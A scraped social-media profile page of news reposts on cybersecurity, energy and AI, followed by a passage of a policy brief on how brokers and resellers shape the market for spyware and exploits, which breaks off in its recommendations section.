Advertisement · 728 × 90

Posts by Matthias Schulze

A detailed digital illustration of a Casio F-91W digital watch on a dark background, showing the time 09:25:38 on Saturday the 4th. The watch features the classic black resin case and band with blue accent lines and the iconic WR (water resist) badge.

A detailed digital illustration of a Casio F-91W digital watch on a dark background, showing the time 09:25:38 on Saturday the 4th. The watch features the classic black resin case and band with blue accent lines and the iconic WR (water resist) badge.

This is absolutely beautiful and very well done.

> Nothing you own is finished. Everything exists in a state of permanent incompletion, permanently needing.

https://www.terrygodier

2 weeks ago 164 70 7 18
Post image

🇪🇺 EU is weighing “all options”, including fuel rationing and releasing more oil from emergency reserves, in preparation for a “prolonged” energy shock caused by the war in the Middle East, - FT

🗣️"This will be a long crisis... energy prices will be higher for a very long time."

2 weeks ago 119 30 7 3
Preview
Artemis II Astronauts Have ‘Two Microsoft Outlooks’ and Neither Work In space, no one can hear you scream at Microsoft’s legacy software.

Astronauts are trained for decades in some of the most physically and mentally grueling environments of any career. They’re some of the smartest people on the planet. And yet, once they get up there, fucking Outlook is borked. www.404media.co/artemis-2-as...

2 weeks ago 312 71 14 15
Preview
Sycophantic AI decreases prosocial intentions and promotes dependence Despite rising concerns about sycophancy—excessive agreement or flattery from artificial intelligence (AI) systems—little is known about its prevalence or consequences. We show that sycophancy is wide...

"...even a single interaction with sycophantic AI reduced participants’ willingness to take responsibility and repair interpersonal conflicts, while increasing their own conviction that they were right."

3 weeks ago 502 239 9 61
Preview
Oracle slashes 30,000 jobs with a cold 6 a.m. email Oracle began laying off up to 30,000 employees globally, notifying them via a 6 a.m. email from "Oracle Leadership" with no prior warning from HR or managers.

Nothing says "this is a healthy way of organizing a society" like Oracle cutting 30,000 jobs without warning in order to free up cash flow for building AI datacenters.

3 weeks ago 183 70 4 20
Preview
Coruna iOS Exploit Kit Likely an Update to Operation Triangulation Coruna contains the updated version of a kernel exploit used in Operation Triangulation three years ago. The post Coruna iOS Exploit Kit Likely an Update to Operation Triangulation appeared first on SecurityWeek.

Coruna iOS Exploit Kit Likely an Update to Operation Triangulation #cybersecurity #infosec

3 weeks ago 0 0 0 0
Preview
Iranian hackers claim breach of FBI director Kash Patel's personal email account | TechCrunch Handala, a pro-Iranian hacking group allegedly working for Iran’s government, published emails it said were taken from the Gmail account of FBI director Kash Patel.

NEW: Hackers have leaked a portion of FBI director Kash Patel's emails online, confirming Reuters.

TechCrunch has verified that at least portion of the leaked emails from Patel's Gmail account were authentic by verifying cryptographic signatures contained in the emails.

w/ @lorenzofb.bsky.social:

3 weeks ago 77 25 10 9
Preview
Russian Sabotage of NATO Infrastructure: Identifying Alliance Vulnerabilities This paper looks at the lessons to be drawn from sabotage attacks attributed to Russia against civilian infrastructure and logistics in European NATO countries, and questions NATO’s preparedness for f...

Russia’s ‘shadow war’ against NATO infrastructure is escalating from covert sabotage to strategic ‘diversiya’, exposing critical vulnerabilities in Alliance logistics, and testing the West’s thresholds below open conflict.

3 weeks ago 41 20 1 2
Preview
Google bumps up Q Day deadline to 2029, far sooner than previously thought Company warns entire industry to move off RSA and EC more quickly.

Google is dramatically shortening its readiness deadline for the arrival of Q Day, the point at which existing quantum computers can break public-key algorithms that secure decades’ worth of secrets belonging to militaries, banks, and nearly every individual on earth

arstechnica.com/security/202...

3 weeks ago 18 13 2 2
Preview
BKA-Chef Münch: Keine Abhängigkeit von einzelnen IT-Firmen

„Nachdem sich, nach den Diensten, nun auch das #BKA klar gegen #Palantir ausgesprochen hat, muss A. #Dobrindt endlich von der hochumstrittenen US-Firma um Peter #Thiel Abstand nehmen. Alles andere wäre sicherheitspolitisch fahrlässig.“ @konstantinnotz.bsky.social www.sueddeutsche.de/politik/75-j...

3 weeks ago 38 15 0 1
Advertisement
 In Kapitel II
haben wir beschrieben, wie wahnsinnig an-
greifbar unsere Energieinfrastruktur ist – so-
wohl die zivile als auch die militärische. Öl
und Gas erweisen sich als Gefahr für »vertei-
digungsrelevante Infrastruktur«. Eine klein-
teiligere, dezentrale Energieversorgung bietet
weit weniger Angriffsfläche. Sie entlastet also
die Verteidigungskräfte. Im Gegensatz zu dro-
henden Sabotageakten wie der Zerstörung der
Nord-Stream-Pipeline, vor denen immer mehr
Fachleute warnen, gelten Windräder und So-
larpanels auf Dächern sowie Windräder auf
Feldern als deutlich sicherere Energiequellen.

In Kapitel II haben wir beschrieben, wie wahnsinnig an- greifbar unsere Energieinfrastruktur ist – so- wohl die zivile als auch die militärische. Öl und Gas erweisen sich als Gefahr für »vertei- digungsrelevante Infrastruktur«. Eine klein- teiligere, dezentrale Energieversorgung bietet weit weniger Angriffsfläche. Sie entlastet also die Verteidigungskräfte. Im Gegensatz zu dro- henden Sabotageakten wie der Zerstörung der Nord-Stream-Pipeline, vor denen immer mehr Fachleute warnen, gelten Windräder und So- larpanels auf Dächern sowie Windräder auf Feldern als deutlich sicherere Energiequellen.

Was in diesen Tagen allen klar werden müsste:
Atomkraftwerke und fossile Infrastuktur zählen zu den obersten Zielen in einem Krieg.
Hunderte dezentrale Kraftwerke für Erneuerbare Energien stärken die Sicherheit.
Auszug aus "Die Sicherheitslüge"
www.oekom.de/buch/die-sic...

4 weeks ago 878 320 23 8

The military campaign against Iran is going so well that the U.S. is now announcing war crimes.

4 weeks ago 992 190 34 1

Maybe this will get Hegseth’s attention.

1 month ago 38 6 1 0
A screenshot of Google search with verge headlines rewritten as slop

Lego Computer Brick - Engineer James Brown
Aug 20, 2022 — James Brown has brilllantly brought classic Lego computer bricks to life by outfitting them with a tiny OLED screen, processor, ...
Y/
The Verge
https://www.theverge.com› Al> Tech, Reviews:
"Cheat on everything" Al tool
Apr 23, 2025 - Two 21-year-old Columbia University dropouts are proposing a new $5.3 million twist on the concept: use their Al tool Cluely to "cheat on everything." Read more
The Verge
https://www.theverge.com» » Microsoft›Al› Tech:
Copilot Changes: Marketing Teams at it Again
22 Aug 2024 — Microsoft is getting ready to rebrand its Copilot for its business Al efforts. It's part of an effort to push Microsoft 365 Al tools.
The Verge
https://www.theverge.com› Wearable Science Tech:
Dexcom Stelo hands-on - OTC Continuous Glucose Monitor
Aug 26, 2024 - The $99 Dexcom Stelo is an over-the-counter continuous glucose monitor designed for Type 2 diabetics who don't use insulin.

A screenshot of Google search with verge headlines rewritten as slop Lego Computer Brick - Engineer James Brown Aug 20, 2022 — James Brown has brilllantly brought classic Lego computer bricks to life by outfitting them with a tiny OLED screen, processor, ... Y/ The Verge https://www.theverge.com› Al> Tech, Reviews: "Cheat on everything" Al tool Apr 23, 2025 - Two 21-year-old Columbia University dropouts are proposing a new $5.3 million twist on the concept: use their Al tool Cluely to "cheat on everything." Read more The Verge https://www.theverge.com» » Microsoft›Al› Tech: Copilot Changes: Marketing Teams at it Again 22 Aug 2024 — Microsoft is getting ready to rebrand its Copilot for its business Al efforts. It's part of an effort to push Microsoft 365 Al tools. The Verge https://www.theverge.com› Wearable Science Tech: Dexcom Stelo hands-on - OTC Continuous Glucose Monitor Aug 26, 2024 - The $99 Dexcom Stelo is an over-the-counter continuous glucose monitor designed for Type 2 diabetics who don't use insulin.

Google is now screwing with the 10 blue links in traditional search and rewriting headlines - including ours - to be the worst kind of slop. This sucks so bad www.theverge.com/tech/896490/...

1 month ago 3797 1287 119 212
Preview
Japan to allow ‘proactive cyber-defense’ from October 1st In less polite places, this is called ‘hacking back’ or ‘offensive cyber-ops’ Japan’s government yesterday decided to allow its Self-Defense Force to conduct offensive cyber-operations, starting on October 1st.…

Japan to allow ‘proactive cyber-defense’ from October 1st #cybersecurity #infosec

1 month ago 4 0 0 0
Preview
België lanceert eigen beveiligde berichtenapp voor defensie en ambtenaren België heeft een eigen beveiligde berichtenapp ontwikkeld voor de overheid. De app, Beam, moet op termijn gebruikt worden door ongeveer 750.000 ambtenaren en militairen en moet apps zoals WhatsApp en ...

The Belgian government has launched its own secure messaging app named Beam.

The app was designed for internal government and military use.

www.demorgen.be/snelnieuws/b...

1 month ago 12 5 1 0
Preview
Mythical Beasts: Investigating the role of intermediaries in the proliferation of offensive cyber capabilities Table of Contents * Executive summary * Introduction * Methods * Characterizing the complicated: Defining intermediaries * The driving and narrowing effects of brokers and resellers on the OCC marketplace * Policy recommendations * Conclusion * Acknowledgements * About the authors Download PDF project series Executive summary The marketplace for offensive cyber capabilities (OCCs) has become increasingly complex over time. Contributing to this complexity are intermediaries—entities that serve a critical yet poorly understood role in the proliferation of this industry. Largely due to the private nature of intermediary relationships and transactions, there is limited public knowledge about these intermediary entities that bridge relationships and transfer goods within the OCC supply chain. As governments and international processes seek to establish norms and regulations for this highly fragmented OCC industry through initiatives including the ongoing multistakeholder Pall Mall Process, the lack of shared public knowledge is a significant hurdle. The opacity of this market subsection poses policy challenges and complicates efforts to regulate these entities. This undermines transparency, accountability, compliance, and due diligence, and threatens to enable the unchecked proliferation of these capabilities to end users who abuse them. This research draws on expert roundtable interviews and vignettes that shine light on intermediary functions and their effects on the wider market—features of the supply chain that still confound researchers and policymakers alike. Building on research in the Mythical Beasts project series, this issue brief maps intermediary roles and effects, with an aim to enable more precise, effective policies to curb abusive proliferation while maintaining the legitimate security research and defensive capabilities that these entities can offer. Introduction As technological and regulatory evolutions in offensive cyber capabilities (OCCs) continue, the landscape of tools, vulnerabilities, and skills leveraged for sophisticated and targeted operations continues to adapt. However, many states turn to the open market to procure these often highly specialized products and services, due in part to limited in-house capacity among other factors. In recent years, the marketplace for these OCC products and services has continued to evolve and proliferate—as evidenced in the Atlantic Council study on the global spyware market, Mythical Beasts and Where to Find Them: Mapping the Global Spyware Market and its Threats to National Security and Human Rights. This research and other global mapping initiatives shed light on the complex supply chains of OCCs, a complexity and opacity that pose challenges tomeaningful marketplace transparency and accountability. A key feature of the marketplace—intermediaries, which are entities that provide essential products or services that support a final OCC product—continues to be largely fragmented, with minimal shared public knowledge on the characteristics, influences, and norms on of the entities operating within the OCC supply chain. As surveyed in the Mythical Beasts project, open-source information about what roles intermediaries play in proliferation and the effects they have on marketplace dynamics is limited, despite academic research and public reporting indicating that there is a heavy reliance on commercialintermediaries. Intermediaries are fundamentally different than other entities that operate within the marketplace for OCC. Intermediaries are largely found as partners within the OCC supply chain, complimenting product development through vulnerability research to complete exploit chains or as auxiliary support during technology deployment. Unlike OCC vendors, intermediaries are typically not the public face of products; rather, they are better known within private client bases. Intermediaries can be a one-person shop, relying on personal relationships to establish a client network. They can drive up business by facilitating new relationships to previously inaccessible or new customer bases and to increase profits for both themselves and on behalf of vendors that employ them. Altogether, these factors make it more difficult to track and understand the types of relationships and effects that intermediaries have on the OCC market, as limited public information exists about them outside of hacked and leaked documents, investigative reporting, and sporadic transparency initiatives. As an important aside, the concept of an intermediary can be applied not only to private sector entities but also to states. Third-country intermediaries typically operate in permissive trade environments that act as favorable “stepping stone” jurisdictions; for example, they may offer legal or logistical support that facilitates the movement of spyware and exploits across regulatory boundaries. These jurisdictions themselves operate as an intermediary state hub that is hosting intermediary companies locally domiciled to provide services such as the transfer or export of goods onward to a third country. Although the permissive or restrictive nature of states is a feature of the OCC supply chain, the design of policy interventions for state exports differs from those applied to intermediary entities and, thus, is beyond the scope of this issue brief. These questions surrounding the characteristics and effects of intermediaries persist not only as they pertain to spyware, but also in how they interact with other components of the OCC supply chain— from the foundation from which they are built, such as vulnerability and exploit research, to the services like training or educational materials they might provide. With the Mythical Beasts project as a jumping-off point, this piece explores intermediary relationships, products, and their effects on submarkets within the larger OCC supply chain for high-end cyber intrusion products. These products, often referred to as spyware, range fromsoftware and tools that enable remote access to a computer system without the consent of the user, administrator, or owner of the computer system. With system access, intermediaries are able to collect, exploit, extract, intercept, retrieve, alter, delete, or transmit content. The limited and siloed knowledge regarding intermediaries creates a significant policy hurdle—these entities contribute to the opaque proliferation of the OCC industry. But how can policymakers enact effective regulation and standards to curb the abusive effects of vendors when they do not understand the perimeters within which these entities operate? This issue brief explores the characterization of intermediaries, the difference between different intermediary types (i.e., broker, reseller), how different intermediaries carry varying effects on the market (i.e., price increases, supply chain muddling) and concludes with policy recommendations to mitigate the effects of these issues, specifically for the ongoing Pall Mall Process. Methods To investigate intermediaries in the OCC marketplace and product supply chain, this brief combines expert interviews with desk review to present a rich description of the characteristics, influences, and norms of intermediaries. The interviews were conducted in fall 2025 in a roundtable format with subject matter experts on the cyber capabilities ecosystem from across the national security and private sectors as well as in one-on-one conversations. Individual interviews were conducted with sources from private sector firms who have interfaced with or researched intermediaries or can be identified as intermediaries themselves (e.g.,exploit brokers). For privacy considerations, interviewees remain anonymous but represent the following profiles: * leaders and senior employees of offensive hacking or vulnerability research companies in the United States or Europe, * security researchers with expertise in offensive hacking and regional specialties both within and outside the United States, and * individuals acting as intermediaries that have facilitated relationships and access from individuals or companies to buyer countries based in Five Eyes countries and Europe. Individual interviews will be cited based on the roundtable that interviewees participated in (e.g., Roundtable #1) to avoid attribution. Due to the lack of public information on intermediaries, interviews are a significant source of descriptive data for this brief. Prior to the roundtables, the authors reviewed academic, policy, and recent media reporting to identify the terms used to refer to entities intermediate to the OCC supply chain. Below, the authors map these terms and seek to clarify the terminology. Characterizing the complicated: Defining intermediaries Cyber intrusion products like spyware are characterized by their sophisticated infection chains, meaning they can combine vulnerabilities and exploits to achieve greater levels of compromise. They are also often valued for their stealth on a target device. A maturing marketplace has emerged to enable the development, sale, and deployment of these products, with intermediaries playing a crucial role in ensuring robust and effective exploit chains and in deploying products with varying degrees of anonymity. Notably, as France’s national cybersecurity agency (ANNSI) explains, an intrusion product typically exploits several vulnerabilities as an exploit chain to bypass each application layer and deploy the desired surveillance as close as possible to the system’s core. Given this interrelated set of permissions or access points at both a technical and organizational level, there are numerous opportunities for intermediaries to supply products or services. Across industry materials, policy documents, and technical reporting, a range of terms are used to describe intermediary entities that operate at various junctures in the OCC supply chain. Intermediaries are entities that provide essential products or services that support a final OCC product. For example, they can facilitate access to or transfer of goods (e.g., vulnerabilities) or services (e.g., access-as-a-service) between two or more parties. In different literatures, intermediaries encompass a variety of relationships, including brokers, resellers, contractors, partners, middlemen, infrastructure providers, and even countries as third-party intermediaries. Some of these terms share overlapping responsibilities, while others are distinct. Here, these terms will be addressed and categorized. Brokers, sometimes referred to as vulnerability brokers, broker firms, or middlemen, will purchase vulnerabilities or exploit components from researchers and sell them to governments or other clients. Brokers establish their clientele based on relationships with sellers and buyers, and for each transaction, there can be an individual or a chain of brokers that sell said good or service onward to a buyer.1 Thus, brokers can serve as direct links between the seller and a buyer or can sell to another broker in the chain who then sells to an end client or another broker. Oftentimes, brokers sell a single component of an OCC, rather than a bundled product (i.e., selling an exploit versus selling an OCC product containing an exploit bundled with malware). For instance, Operation Zero, a Russian vulnerability brokerage firm, specializes in acquiring and selling zero-day exploits. Resellers, on the other hand, typically procure and then repackage or rebrand cyber intrusion products to new customers. Crucially, a reseller obtains the rights to a software product and may even modify the product before selling it onward to a new buyer. In practice, repackaging or rebranding means bundling spyware or exploit capabilities with services including technical support, training, and adapting products to local contexts, thus making exploits easier for clients to deploy.2Oftentimes, and distinguishable from brokers, resellers bundle products together, reselling a package of products rather than a single component of OCC. Resellers may also lease supporting infrastructure to multiple vendors, such as virtual private networks (VPNs) or domain hosting. Frequently, resellers operate within jurisdictions that have favorable or limited regulations, thereby enabling sales across borders.3 An example of a reseller is RCS Lab, which sold Hermit spyware (Hacking Team/Memento Labs spyware) on behalf of Hacking Team.4 Notably, brokers and resellers can operate both “in-house” or as “contractors” for the entity they broker or resell the products for. In-house intermediaries are entities that are owned by an OCC vendor, or other entity in the supply chain. For example, a spyware vendor can own a reseller whose purpose is to resell its spyware to specific countries. Alternatively, vendors can contract a broker or reseller to procure a specific capability, product, or service, or facilitate the sale of a specific capability, product, or service. Below, the authors do not distinguish between in-house and contracted brokers or resellers as it cannot be determined whether they have varying degrees of effect on driving or narrowing proliferation in distinct ways. Other terms in the literature combine brokers and resellers into one category. For example, in the defense and intelligence communities, “contractors” serves as a stand-in term for resellers and brokers, used also with “prime contractors” for large system integrators and “sub-contractors” for boutique firms or individual researchers. Partner is another term that combines the functions of brokers and resellers with the specific context of the offensive cyber capability of spyware. “Partner” is a term observed in industry materials and used in theAtlantic Council’s Mythical Beasts research to encompass a broad range of actors—business and operational partners, technical or analytical tool providers, and, in some cases, entities that also function as brokers or resellers. On the other hand, other terms carve out brokers and resellers and focus on other functions of intermediaries. For example, infrastructure providers are characterized as entities leasing domains, hosting, or operating infrastructure to multiple vendors, providing a commoditized, reusable operational layer for multiple exploits. Access providers are described as firms or individuals that integrate exploits into tools and sell “access-as-a-service” to clients. The term of intermediary also takes on various meanings and implications across mentions, or lack thereof, in policy. For example, the 2025 Pall Mall Code of Conduct uses “intermediary” explicitly, grouping “resellers, distributors, brokers, and system integrators” of commercial cyber intrusion capabilities together under a single umbrella. In contrast, the Code distinguishes another category for the role of access providers. While this represents a step toward articulating the diversity of actors in the OCC marketplace, there is little attention devoted to the functions and effects of these intermediaries. Rather, this report highlights the instances in which distinguishing between terms is beneficial to policymakers in ongoing industry code-of-practice to effectively include entities that fit more granularly within the market, bolstering potential implementation of outcomes from the code-of-practice. On the other hand, some policy documents do not directly mention the role that intermediaries play in the OCC marketplace. For example, the 2023 US State Department’s Guiding Principles focuses on government procurement, transparency, and human rights obligations of states and vendors that deploy surveillance technology. In this instance, “vendors” and “surveillance technologies” are treated as broad, catch-all categories, but the guiding principles do not specifically include brokers, resellers, infrastructure providers and the other obscure players in this ecosystem—even though these actors are drivers of price distortion, supply-chain opacity, and risk. Finally, within the technical and threat-intelligence community, intermediary terminology is more closely tied to specific entities in case studies: Singaporean brokers for Indonesian spyware procurement, third-country intermediaries in Hungary, and exploit brokers or suppliers like COSEINC in Singapore or firms operating in China. Reports from these groups reference the functions that “middlemen,” “brokers,” “regional partners,” and “local distributors” take such as repackaging, resale, and routing logistics, but often without drawing specific lines between the terms and which specificactions they take. In the industry and vendor ecosystem itself, marketing language includes “partners,” and “value-added resellers,” which flattens important distinctions. There is overlap across this landscape, specific intermediaries connect entities within the OCC supply chain to support product development. Where they diverge is when and how clearly roles are named, differentiated, and assigned responsibly. Policy frameworks tend to underspecify intermediaries altogether; technical reporting documents their behavior without standardizing definitions; and industry terminology combines multiple roles under ambiguous labels. Without clarification and specificity, it is difficult to surface accountability or design effective policy to encourage market regulation. Without clear differentiation, policymakers risk applying underdeveloped, misdirected policies that may have minimal or counterintuitive effects on marketplace transparency. Therefore, disentangling the functions of these entities is a necessary step toward understanding the landscape and designing policies that address how this market functions in practice. For example, policy solutions to curb an individual operating as a broker versus a companyoperating as a reseller might take different approaches, with governments having their own priorities. Thus, for this piece, the authors rely on specific terms to clarify the function that each entity type(s) serves in the market and will use the term most closely aligned with an intermediary type versus a more general term such as “middlemen” or “contractor” to inform policymakers seeking to address specific characteristics of these entities. A note on related markets Taking a step back from the cybersecurity marketplaces, intermediaries are observable across complex and sometimes illicit supply chains, with parallel effects on connectivity and opacity. They are key components of global supply chains ranging from diamond trade and critical minerals to commercial data brokers and the wider defense sector. Across these supply chains, intermediaries play an important role in aggregating, transforming, or legitimizing goods as they move across regulatory lines. Brokers may resemble commodity traders who arbitrage information and relationships, and there are parallels to commercial data brokers who package digital assets sources indirectly through oftentimes untraceable or illegitimate means. These commonalities highlight how the OCC marketplace similarly is characterized by multilayered supply chains and shaped by asymmetrical information and specialized labor. These comparisons surface considerations of how, if at all, the OCC marketplace can achieve rigorous and legitimate responsible purchasing protocols for cyber capabilities. While these sectors, including entities supporting OCC development, are shaped by state and industry-imposed due-diligence norms and obligations including Know Your Customer requirements, beneficial-ownership disclosures, and chain-of-custody documentation, an overall lack of vendor and intermediary reporting and transparency persists. Given this, the following section aims to fill in some of these knowledge gaps regarding the operation of and the effects posed by intermediaries in the OCC supply chain. The driving and narrowing effects of brokers and resellers on the OCC marketplace This section draws on the insights from roundtables to characterize the effects brokers and resellers appear to have on the OCC marketplace. A limited body of public research has investigated the economy of vulnerability trades and exploitations, analyzed the business practices of known exploit vendors, and articulated the relationship between exploits and the spyware marketplace. In each of these cases, analyses rely on public knowledge and rare leaked documents to draw insights about the ecosystem. To compliment this and to expand the landscape of shared public knowledge, this analysis follows the methodology of recent policy research by turning to experts in a roundtable format to drive conversation and insights into underattended areas of the marketplace. How intermediaries link entities together in the supply chain of offensive cyber capabilities Here, effects are grouped in two major categories—features that drive proliferation of the OCC marketplace and features that narrow or limit the scope of the OCC marketplace. While these effects pose different consequences for different actors ranging from those seeking wider access to the marketplace to those seeking a far more contained and heavily regulated ecosystem, the authors frame these effects principally in terms of how brokers and resellers shape the marketplace itself. Thus, on the one hand, this analysis demonstrates that entities drive proliferation through the development, sale, and deployment of products. On the other hand, this piece observes the narrowing effects to widespread proliferation principally by driving costs, limiting the diversity of product types, and presenting roadblocks to necessary transparency and due diligence. As detailed in the subsequent subsections, the presence of intermediaries can be characterized as both enabling proliferation and contributing to the homogeneity of the marketplace. While intermediaries fuel the proliferation of OCC, layering additional opacity into already murky supply chains, they also offer policymakers essential leverage points. Their market position, and critical functions they provide in supporting OCC deployment and transactions, make them uniquely effective targets for the needed transparency and enhanced due diligence requirements to curb the rampant proliferation of tools. Driving market mechanics Emerging from expert interviews and case study compilation are three critical roles that intermediaries play in connecting entities in OCC supply chains and driving market proliferation. First, brokers and resellers facilitate sales across jurisdictions, increasing overall access to these capabilities oftentimes to new vendors or markets that otherwise could not directly procure these capabilities directly from a vendor. Second, they enable product development by providing skills, services, or pieces of an end-product that could not be easily developed in-house by a vendor. Finally, brokers and resellers can aid with operation deployment, to assistwith the hands-on tasks of using an offensive cyber capability. Notably, the authors highlight that these features are not the only enabling effects intermediaries have on OCC marketplace proliferation, but rather, there are three major trends highlighted throughout interviews and case study analysis. Facilitating sales across jurisdictions Reports from civil society suggest that brokering and reselling intermediaries have played key roles in numerous high-profile transactions. Specifically, intermediaries have facilitated transactions that otherwise could not have taken place given regional export controls or trade bans. For example, in 2017, spyware vendor Quadream Inc. established its own reseller, InReach Technologies Limited. Sourcing revealed InReach Technologies Limited was “solely founded for the promotion of Quadream products, like Reign, outside of Israel” to bypass the EU’s dual-use export. Later, in 2018, Bangladesh acquired Israeli-made surveillance technologies through Hungarian and Thailand-based resellers to circumvent the Bangladeshi trade ban that prohibits direct trade with Israel. Without intermediaries, it is unlikely this acquisition would have occurred. Again, in 2021, Bangladesh acquired surveillance technology by relying on intermediaries. The state procured surveillance technology from the Intellexa Consortium’s reseller Passitora Ltd (formerly WS WiSpear Systems Limited). The Intellexa Consortium is known for its Predator spyware. Passitora Ltd had sold its product to broker Toru Group Limited, a Swiss company operating out of the British Virgin Islands. This case highlights an example of an intermediary chain, working jointly in service of an end-use OCC vendor, which, through these multiple sales introduces additional opacity into the supply chain for these goods and services. Intermediaries also expand the total geographic market for spyware vendors by connecting regional markets, which might otherwise be constrained by export regulations or limited regional capacity. For example, the South African company VASTech, connected spyware vendor Hacking Team (now named Memento Labs) to sell the vendor’s spyware to “local customers.” Other times, as noted by roundtable participants, third-country intermediaries facilitate sales where vendors cannot or do not want to appear directly, oftentimes to avoid unwanted public attention and potential reputational harm.5 As noted in Mythical Beasts Diving into the Depths of the Global Spyware Market, ten intermediaries (resellers) facilitated NSO Group’s Pegasus sales to government buyers. Unlike the case with VASTech, Mexican intermediaries created misleading and vague contracts that concealed both the products and the original vendor, illustrating how intermediaries can be used as a tool to avoid transparency in the marketplace for OCC. Overall, both brokers and resellers widen the reach of cyber-intrusion vendors into jurisdictions that would be otherwise inaccessible due to reputational, political, export-control, or trade barriers widening and driving the sales of these capabilities. Enabling product development Throughout the expert roundtables and individual consultations, a recurring observation was that exploit brokers and resellers fill a commercial gap in the development and, ultimately, the proliferation of OCC products. Notably, experts reiterated that OCC products rarely rely on a single exploit, rather they require an interdependent chain of exploits and sometimes additional infrastructure.6 Intermediaries meet this need by bridging the gap between security researchers and vendors seeking their exploits. In doing so, they can increase the rate of OCC development by reducing the time needed to identify and negotiate between researchers and buyers. As noted in the roundtables, successful vulnerability brokers maintain regular relationships with government entities and private contacts, thereby establishing some trust in an ecosystem reliant on reputation and word of mouth, meaning that they can more efficiently match customer demands with the current supply of vulnerabilities.7 In addition to matching supply with demand, exploit brokers can bundle components of the supply chain so that vendors do not need to establish individual relationships and transactions themselves. Evidence from recent reporting suggests that brokers and resellers are meeting these product development needs not only through the sale of exploits but also by providing infrastructure setup support or by arranging transactions through platforms with limited traceability to circumvent oversight. Taken together, these entities meet a marketplace need by connecting skills, services, and products to OCC vendors who may, for a variety of reasons discussed above, seek these external services. Supporting operational deployment Brokers and resellers often meet vendor needs by facilitating the transaction of infrastructure, where they provide platforms or services to assist with operational deployment of a capability. This allows OCC vendors to scale operations across multiple regions without having to rely on local infrastructure built in-house from scratch.8 Recorded Future’s analysis of Predator spyware reveals the diverse operational deployment roles that resellers fulfill, from establishing operational training centers to operating front companies to ship products to providing data analysis systems. This case is especially significant, as the Intellexa Consortium—the business cluster behind Predator spyware—is renowned for incorporating intermediaries “in house.” Meaning, the vendor itself owns various resellers, brokers, and infrastructure providers versus contracting them externally, suggesting that even sizeable spyware vendors that “own” various intermediaries also require external contracted intermediary support for operational deployment for certain targets. Limiting market proliferation While the previous three broker and reseller effects demonstrate how these entities can meet the needs of the OCC marketplace and advance the market’s proliferation, experts and case studies similarly highlighted how, on the other hand, intermediaries can contribute to increased homogeneity off the marketplace in several ways. Specifically, this includes driving up cost, limiting the diversity of product types, and impeding due diligence and transparency efforts. Escalating costs Brokers and resellers, across the marketplace, anecdotally appear to drive up the final cost of OCCs. Multiple roundtable members with industry experience at many junctures of these supply chains described how each broker in a chain adds its own markup, layering on a 10-15 percent markup to the exploit for each onward sale.9Popular and open-access exploit marketplaces, like Zerodium, will list the prices of vulnerabilities, but what remains unclear is the extent to which these public prices reflect the intermediary markup. Evidence suggests that the costs of exploits range drastically, with some of the most sought-after exploits, like zero-click or mobile-messaging exploits being notably more expensive. Similar cost escalation occurs at other junctures in the OCC marketplace. For example, MATIC—a reseller of NSO Group‘s Pegasus spyware—sold Pegasus to the Polish Central Anticorruption Bureau with a nearly $1.5 million markup. These markups exist at virtually every step of building and selling OCCs, which push higher-end capabilities out of reach for smaller states and agencies, effectively restricting market access to those with the most purchasing power. As reiterated throughout this section, brokers and resellers appear to fill an open commercial gap and charge a fee for their services. Consequently, the lack of transparency on pricing and inflation contributes to overall marketplace ambiguity for the industry as a whole by increasing opacity on costs associated with developing, selling, and procuring OCCs. Limiting the diversity of products Roundtable participants noted that a consequence of both the current intermediary ecosystem and in-house vulnerability research is an overall narrowing of what is considered a top-priority commodity. With buyers’ focus on the most popular target vectors (such as iOS and Android devices) and on final products that prioritize speed, timing, precision, and anonymity, downstream intermediaries respond by focusing their discovery and procurement on these few, high-value exploits.10 These experts narrowed in on this unintended market effect, in which buyers seek out and buy certain vulnerabilities (i.e., remote bypass for popular operating systems), which contributes to knock-on effects for the wider intermediary marketplace. Roundtable participants explained that as resellers and brokers prioritize acquiring these few high-value exploits, there is limited buyer interest and purchasing power for smaller bugs that can be used in complimentary or alternative ways to reach similar end goals.11. In essence, while it is not possible to have full view into the demand-and supply-side activities, “all eyes are trained on the same targets.”12One participant noted an exception to this marketplace norm, highlighting a positive externality in the public-private ecosystem in Israel that has created an incentive system in which researchers and intermediaries have access to funding and investments necessary to create and prove product viability for OCCs that exploit less or obvious sources.13 What was observed, in general, is that most of the attention and purchasing power is directed at a relatively narrow slice of the vulnerability marketplace to build out the exploit chains of OCC products. Experts speculated on the consequences of this intermediary and product homogenization. For instance, they highlighted that from an engineering perspective, products appear to be “less creative.” Others noted that this zeroing in on the same few exploits incentivizes brokers and resellers to engage in disreputable and insecure business practices such as selling the same exploit to different vendors, threatening security breaches or bottlenecks when exploits are discovered and patched. Impending transparency and due diligence Overall, the introduction of more actors in the form of intermediaries to the OCC ecosystem poses additional considerations to the tracking and reporting necessary for transparency initiatives. Given the relationship-based nature of brokering and reselling, where deals and transactions oftentimes rest on preexisting, trusted contacts or references, the ability to surface and track these transactions within a digital “supply chain” is limited.14 This has implications for the growing advocacy and policy guidelines for which “responsible purchasing” has been offered as a potential remedy to market proliferation. The analyses above highlight how brokers and resellers can drive-down transparency efforts in the marketplace for OCC by muddying supply chains and creating confusion for end-buyers as to the source of a product or product component, which in turn complicates due-diligence efforts and “responsible purchasing.” Even vendors of OCCs have indicated how intermediaries complicate their own alleged due-diligence efforts. For example, the CEO of spyware vendor Memento Labs, recently asserted that one of its clients misused outdated variants of their malware. This demonstrates that OCC vendors can lose control of variant propagation once intermediaries and resellers are involved. Members of the industry echoed this sentiment, describing the “ceiling of capabilities” problem—as resold or outdated capabilities continue to circulate in the market, sometimes through third-country intermediaries, the likelihood of detection increases and the effectiveness of the exploit is reduced.15 On the other hand, current market opacity enables unchecked vendor transparency reports, including the recent 2025 NSO transparency report, which lacks any concrete details on annual disclosures, supply chains, customers, and more. Further complicating transparency and due diligence efforts are incentive structures in the marketplace for OCC. Emerging security researchers and brokers are often incentivized by the appealingly sizable and rapid profit potential, shifting the focus to speed and margin overdue-diligence obligations. Discovering and selling vulnerabilities is not geographically restricted to certain markets and thus the profit margins can be “transformative” for some researchers and intermediaries, particularly in the global majority.16 An ultimately observable theme in the OCC supply chain, like many other illicit flows, is that entities are largely incentivized by factors including profit and reputational protection, which oftentimes are measured by high levels of discretion and privacy. As a consequence, supply chain transparency and publicly accessible and meaningful due diligence contrasts with these appealing payouts and an inherent culture of opacity. Policy recommendations The policy recommendations below aim to address the aforementioned effects that brokers, resellers, and other intermediary types pose. Based on analysis from interviews and background research, this report sets out four recommendations aimed at confronting the consistent issue set across the Mythical Beasts project—increasing and incentivizing transparency at multiple levels of the OCC supply chain. These specific recommendations are oriented toward governance regimes in the United States, the United Kingdom, and the multilateral Pall Mall Process to develop 